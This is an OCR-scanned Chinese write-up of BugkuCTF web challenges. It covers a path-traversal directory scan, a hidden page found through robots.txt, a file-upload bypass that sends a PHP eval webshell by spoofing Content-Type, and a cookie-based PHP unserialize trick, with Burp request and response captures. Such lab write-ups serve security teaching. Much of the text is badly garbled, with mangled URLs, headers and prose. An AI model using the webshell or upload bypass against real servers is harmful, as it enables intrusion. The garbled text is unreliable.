FiR{ER: http://123. 206. 87. 240: 5002 /web13/api /diy. asp Hi|iEig: 20 FHEEE : 626/30

1 ik HTTPOfG:
[ http://123 206, 67. 2408002/ webl3/robots. txt | 200
http://123. 206, 87. 2408002 /web13/1ndex. php?chemin= . %2£. . %2f.  %2f  %2f  %2f.  %Cf%fetc 200
htt FA123. 206, 87. 2408002 fwebl3/1ndex. ph 200
htt

f/123. 206, 87. 240:8002 /webl13/index. php?option=com_userdwiew=resetdl avout=confirm 200
http://123. 206, 87. 240:8002/web13/1ndex. php?s=admin—lozin 200

htt 3. 206. 87. 2408002 /web13/1index. phy 200

1

http: /7123, 206. 87. 240:8002 /webl3/1ndex. php? 200
1
1

htt 3. 206, 87. 2408002 fweb13/ 1 ndex. php7y imembs=admin 200

htt 23 206. 87. 240° 8002 fwebl3/8010/Guide/. . /.. /. . L. .5/ /. ./ 200

WO~ E O ok NN =
-
.
[

3. 1ilA) robots.txt LA K I /resusl.php #4z:

BugkuCTF - &35 ¥ | 404 Not Found * 123.206.87.240:8002/web13/rol X

C © © £ 123.206.87.240:8002/web13/robots.txt

User-agent: *
Disallow: /resusl.php

4. Vi fresusl.php #4%:



404 Not Found The result Pl C S3r= CSDNisz bugku 4y EEER

(<) C @ |® £ 123.206.87.240:8002/web13/resusl.php

hitps://blog.csdn.net/weixin_39190897

5. WIEEH —FFHLE RN, BHERRadmin, HfE#ESH x=admin, EIAI3KAE flag:

D The result x +

€ 5> X O @ FZ&£| 123.206.87.240:8002/web13/resusl.php?

hitps://blog.csdn.net/weixin_391908397

No.28 PHP 3 # L& &aid
1. ARG




IKgetshell
150

Hegetshell
http://123.206.87.240:8002/web%/

Flag Submit

BugkuCTF - ; 123.206.87.240:8002/web9/ X C SVE=-(CSDNiE=E

C ® ©O & 123.206.87.240:8002/web9/
My name is margin,give me a image file not a php

WES... | ASHEE, Submit

2. ZREE EERD R

Go Cancel | [ <[ || > v

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /webd/index. php HITP/1.1 4 HTIP/1.1 200 OK
Host: 123.206.87.240: 8002 r Server: ngimx
User-Agent: Mozilla/5.0 (Vindows NI 10.0: Win64; x64: rv:79.0) Gecko/20100101 Firefox/70.0 Date: Sat, 15 Aug 2020 13:25:22 GMI
Accept: text/htnml, application/xhtml+xml, application/xml; q=0. 9, inage/webp, #/*%; q=0.8 Content-Type: text/htnl
Accept-Language: zh-Cl, zh:q=0. 8, 2h=T¥:q=0. 7, zh-HK; g=0. 5, en-US: g=0. 3, en; g=0. 2 Connection: close
Content-Type: multipart/forn-data; boundary 20807293425660058431882704583 Content-Length: 269
Content-Length: 371
Origin: http://123. 206. 87.240: 5002 <html>
Comnection: close <hody>
Referer: http://123.206.87. 240: 5002/ webd/ <forn action="index. php” method="post” enctype="multipart/form-data”>
Cockie: PHPSESSID=ebdn5qtludiojcbkssdThncgetfinlun My name is margin, give me a image file not a php<br>
Upgrade-Insecurs-Requests: 1 b
<input type="file” name="file” id="file" />
29807293425660058431852794583 <input type="submit” name="submit’ value="Submit” />
Content-Disposition: form-data: name="file’: filename="ClearSky. php” </form»
Content-Type: text/plain
[7php @eval ($_POST[" attack’ 1) 7> [ Invalid file <br /> ]
20807203425 33431852794383
Content-Disposition: form-data; name="submit
Submit
29807293425660055431882794583—

3. ZPWRAKRIA—FHL=A1dIE:

o ERLEBH Content-Type;
o MRS
o iEREIE K Content-Type.
3 LR AL B R UM SO R 4%, RIKEZIK php4, phtml, phtm, phps, phps (BF—%FRHEAIE) , BAR

W, php5 ArLAGEIE; #ETR, 5REIE R Content-TypeF BN imageljpeg; {HR&—HHEERR], LEER—MERkK
Content-Type F B, K/NE%ed: mULtipartform-data; %/ Payload WiF:



Go Cancel < |v > v

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

POST /web%/index. php HTTP/1.1
Host: 123. 206.87.240:8002

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

.9, image/webp, #/*:q=0. 8
W:q=0. T, zh-HK q=0. 5, en-US; g=0. 3, en: g=0. 2

Accept: text/htul, spplication/zhtul+zul, application/znl;
Accept-Langual I
Content-Type

boundary 208072934

Content-Lengt
Origin: http://123.206. 87. 240: 8002

Commection: close

Referer: http://123.206.87.240: 3002/wehd/

Cookie: PHPSESSID=ehdnigtludiojebkssdThnegetfimlun
Upgrade-Insecure-Requests: 1

- 20307203425660058431682
Content-Disposition: form-data; name="file’: filenam
Content-Type. [mage/ipeg

<7php @eval (§_POSTC attack™]) 77
———————————————-20807203425660058431882794583
Content-Disposition: form-data; name="submit”

Submit
o 20807203425660058431882794583—

No.29 php&x 7 54t & it
1, BRI

31882794083

T

HITF/1.1 200 OK

Server: nginx

Date: Sat, 15 Aug 2020 132714 GHT
Content-Type: text/htul
Comnection: close

Content-Length: 268

‘html>

<body>

¢“forn action="index.php’ methed="post” enctype="multipart/forn-data’>
My name is margin, give me a image file not a php<br>

hr

Cinput type="file” name="file” id="file" />
Cinput type="submit” name="submit” value="Submit’ />
<fforn>




flag.php
200

ik http://123.206.87.240:8002/flagphp/

= loginVB& /R

127 hint |

@ - @ @ |®  #[123206.87.240:8002 /flagphp/ | 28

- 8] Qmm

O Owsx Dese DEdE NRs (dotese Ouw Ors B « Fwms 3 o9es @ Hackear

Q = HTML +
<html>
b <head> (= </head>
w <body>
<br>
w<div class="container” align="center”>
w <form method="POST" action="#"»
B <p>leei</p> M
D BRIEATHITNIRIEE
hd

</p>
</form>

<fdiv>
</body>

2. WHEE B RV RMEE hint 240, SHETE, RNEIPHPRD:



GG SRS R = 123.206.87.240:8002/flag; X C SME-CSDNiEE

« C ® © & 123.206.87.240:8002/flagphp/?hint=123

<?php

error_ reporting(0);

include once("flag.php"):

Scookie = 5 COOKIE['ISscer'];

if(isset (5_GET['hint'])){
show source( FILE );

}

elseif (unserialize (Scockie) === "SKEY")

echo "%flag";

}

else {

>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title»Login</title>

<link rel="stylesheet"™ href="admin.css" type="text/css">

</head>

<body>

<br>

<div class="container" align="center">

<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<pr<input name="password" type="password" placehoclder="Password"></p>
<p><input walue="Login" type="button"/></p>
</ form>

</div>

</body>

</html>

<?php
1

[$KEY='ISecer:www.isecer.ccm'; I
>

RIGZH#E R AE N Cookie ZHUMERFFMLEET KEY sttt Flag, —FFaa LLIAKEYIRME R & T K

ISecer:www.isecer.com o

SRIE T FRRZ BHL EHKEYRERRAHE X, LEAHES SKEY BERMZAENULL, AR THKE, bt
IR %R AR AR & 7 BI4L HIME ANULL

3. HPHPELIEIT TR, B%E KEY (KEYBUER ZA& < Mk NULL) BIFFILEUE serialize($KEY) A s:0:""; :

A =it PHP fE£TE v &EE

1 <?php -m
2 |echo serialize(’’); |

3

4. BJ5, BPIEHHiECookieki%kpayload B i] #K 15 Flag:



Go Cancel < |¥ > |
Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET /flagphp/ HITP/1.1

Host: 123.206.87. 240: 8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64; 1v:79.0) Gecko/20100101 Firefox/79.0
Lccept: text/htnl, application/zhtml+znl, application/zml;q=0.9, inage/webp, */*;q=0.8
Aecept—Language: zh—CH, zh;q=0. 8, zh-TW; g=0. 7, zsh-HK ; q=0. 5, en-U3;g=0. 3, en; g=0. 2

Comnection: close

Upgrade-Insecure-Requests: 1

Cookie: ISecer=s:0:"";

e

HITP/1.1 200 COK

Server: nginx

Date: Sun, 16 Aug 2020 03:26:19 GMT
Content-Type: text/html

Comnection: close

Content-Length: 27

tlag {unserialize_by_wvirink}
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